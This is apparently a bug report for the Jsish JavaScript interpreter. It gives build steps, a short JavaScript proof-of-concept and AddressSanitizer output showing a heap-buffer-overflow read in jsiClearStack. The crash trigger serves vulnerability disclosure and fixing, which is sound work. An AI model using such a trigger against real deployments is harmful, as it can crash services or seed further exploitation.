Heap-buffer-overflow src/jsiEval.c:120 in jsiClearStack

[hope-fly]

Jsish revision

Commit: 9fa798e

Version: v3.5.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

export CFLAGS='-fsanitize=address'
make

Test case

var a = Math.sin(Math.PI/2);  
if (a === 1) {
    switch (a) {
      case assert(accessed, 'accessed !== true'): break;
      default: throw "FAIL";
    }
}

​

Execution steps & Output

$ ./jsish/jsish poc.js

==52181==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250000000f8 at pc 0x55ff51f35d58 bp 0x7fff48257760 sp 0x7fff48257750
READ of size 8 at 0x6250000000f8 thread T0
    #0 0x55ff51f35d57 in jsiClearStack src/jsiEval.c:120
    #1 0x55ff51f35d57 in jsiPop src/jsiEval.c:200
    #2 0x55ff51f35d57 in jsiEvalCodeSub src/jsiEval.c:1390
    #3 0x55ff51f4215e in jsi_evalcode src/jsiEval.c:2204
    #4 0x55ff51f46274 in jsi_evalStrFile src/jsiEval.c:2665
    #5 0x55ff51c3566a in Jsi_Main src/jsiInterp.c:936
    #6 0x55ff5243a03a in jsi_main src/main.c:47
    #7 0x7fab5e008bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #8 0x55ff51bc9969 in _start (/usr/local/bin/jsish+0xe8969)

0x6250000000f8 is located 8 bytes to the left of 8192-byte region [0x625000000100,0x625000002100)
allocated by thread T0 here:
    #0 0x7fab5ec77f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x55ff51c3a972 in Jsi_Realloc src/jsiUtils.c:47

SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:120 in jsiClearStack
Shadow bytes around the buggy address:
  0x0c4a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
  0x0c4a7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==52181==ABORTING

Credits: Found by OWL337 team.